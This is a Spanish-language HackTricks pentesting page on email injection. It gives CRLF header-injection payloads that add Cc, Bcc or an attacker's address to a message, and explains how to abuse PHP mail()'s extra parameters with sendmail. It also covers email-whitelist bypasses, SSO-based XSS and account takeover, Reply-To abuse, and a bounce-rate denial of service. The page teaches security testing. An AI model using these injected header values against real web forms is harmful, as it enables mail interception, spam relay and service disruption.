10 KiB
Inyecciones de correo electrónico
Utilice Trickest para construir y automatizar flujos de trabajo con las herramientas de la comunidad más avanzadas del mundo.
Obtenga acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabaja en una empresa de ciberseguridad? ¿Quiere ver su empresa anunciada en HackTricks? ¿O quiere tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulte los PLANES DE SUSCRIPCIÓN!
- Descubra The PEASS Family, nuestra colección exclusiva de NFTs
- Obtenga el swag oficial de PEASS y HackTricks
- Únase al 💬 grupo de Discord o al grupo de telegram o sígame en Twitter 🐦@carlospolopm.
- Comparta sus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Inyectar en correo electrónico enviado
Inyectar Cc y Bcc después del argumento del remitente
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
El mensaje será enviado a las cuentas del destinatario y destinatario1.
Inyectar argumento
From:sender@domain.com%0ATo:attacker@domain.com
El mensaje será enviado tanto al destinatario original como a la cuenta del atacante.
Inyectar argumento de Asunto
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
El asunto falso se agregará al asunto original y en algunos casos lo reemplazará. Depende del comportamiento del servicio de correo.
Cambiar el cuerpo del mensaje
Inyecte dos saltos de línea y luego escriba su mensaje para cambiar el cuerpo del mensaje.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
Explotación de la función mail() de PHP
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
El quinto parámetro ($additional_parameters)
Esta sección se basará en cómo abusar de este parámetro suponiendo que un atacante lo controle.
Este parámetro se agregará a la línea de comando que PHP usará para invocar el binario sendmail. Sin embargo, se sanitizará con la función escapeshellcmd($additional_parameters)
.
Un atacante puede inyectar parámetros adicionales para sendmail en este caso.
Diferencias en la implementación de /usr/sbin/sendmail
La interfaz sendmail es proporcionada por el software MTA de correo electrónico (Sendmail, Postfix, Exim, etc.) instalado en el sistema. Aunque la funcionalidad básica (como los parámetros -t -i -f) sigue siendo la misma por razones de compatibilidad, otras funciones y parámetros varían mucho según el MTA instalado.
Aquí hay algunos ejemplos de diferentes páginas de manual de la interfaz de comando sendmail:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
Dependiendo del origen del binario sendmail, se han descubierto diferentes opciones para abusar de ellos y filtrar archivos o incluso ejecutar comandos arbitrarios. Ver cómo en https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
Inyectar en el nombre del correo electrónico
Partes ignoradas de un correo electrónico
Los símbolos: +, - y {} en raras ocasiones se pueden usar para etiquetar y ser ignorados por la mayoría de los servidores de correo electrónico.
Los comentarios entre paréntesis () al principio o al final también se ignorarán.
- Ej. john.doe(intigriti)@example.com → john.doe@example.com
Bypass de lista blanca
Comillas
IPs
También puede usar IPs como nombres de dominio entre corchetes:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
Otras vulnerabilidades
SSO de terceros
XSS
Algunos servicios como github o salesforce permiten crear una dirección de correo electrónico con payloads XSS. Si puede usar estos proveedores para iniciar sesión en otros servicios y estos servicios no están sanitizando correctamente el correo electrónico, podría causar XSS.
Toma de cuenta
Si un servicio SSO le permite crear una cuenta sin verificar la dirección de correo electrónico proporcionada (como salesforce) y luego puede usar esa cuenta para iniciar sesión en un servicio diferente que confía en salesforce, podría acceder a cualquier cuenta.
Tenga en cuenta que salesforce indica si se verificó o no el correo electrónico proporcionado, pero la aplicación también debería tener en cuenta esta información.
Responder a
Puede enviar un correo electrónico usando De: empresa.com** ** y Responder a: atacante.com y si se envía alguna respuesta automática debido a que el correo electrónico se envió desde una dirección interna, el atacante podría ser capaz de recibir esa respuesta.
Tasa de rebote duro
Algunas aplicaciones como AWS tienen una Tasa de rebote duro (en AWS es del 10%), que cuando está sobrecargado, el servicio de correo electrónico se bloquea.
Un rebote duro es un correo electrónico que no se pudo entregar por algunas razones permanentes. Tal vez la dirección de correo electrónico es falsa, tal vez el dominio de correo electrónico no es un dominio real, o tal vez el servidor del destinatario de correo electrónico no aceptará correos electrónicos, lo que significa que de un total de 1000 correos electrónicos, si 100 de ellos eran falsos o eran inválidos que causaron que todos rebotaran, AWS SES bloqueará su servicio.
Por lo tanto, si puede enviar correos electrónicos (tal vez invitaciones) desde la aplicación web a cualquier dirección de correo electrónico, podría provocar este bloqueo enviando cientos de invitaciones a usuarios y dominios inexistentes: DoS del servicio de correo electrónico.
Referencias
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabaja en una empresa de ciberseguridad? ¿Quiere ver su empresa anunciada en HackTricks? o ¿quiere tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulte los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección de exclusivos NFTs
- Obtenga el swag oficial de PEASS y HackTricks
- Únase al 💬 grupo de Discord o al grupo de telegram o sígame en Twitter 🐦@carlospolopm.
- Comparta sus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Use Trickest para crear y automatizar flujos de trabajo con las herramientas de la comunidad más avanzadas del mundo.
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}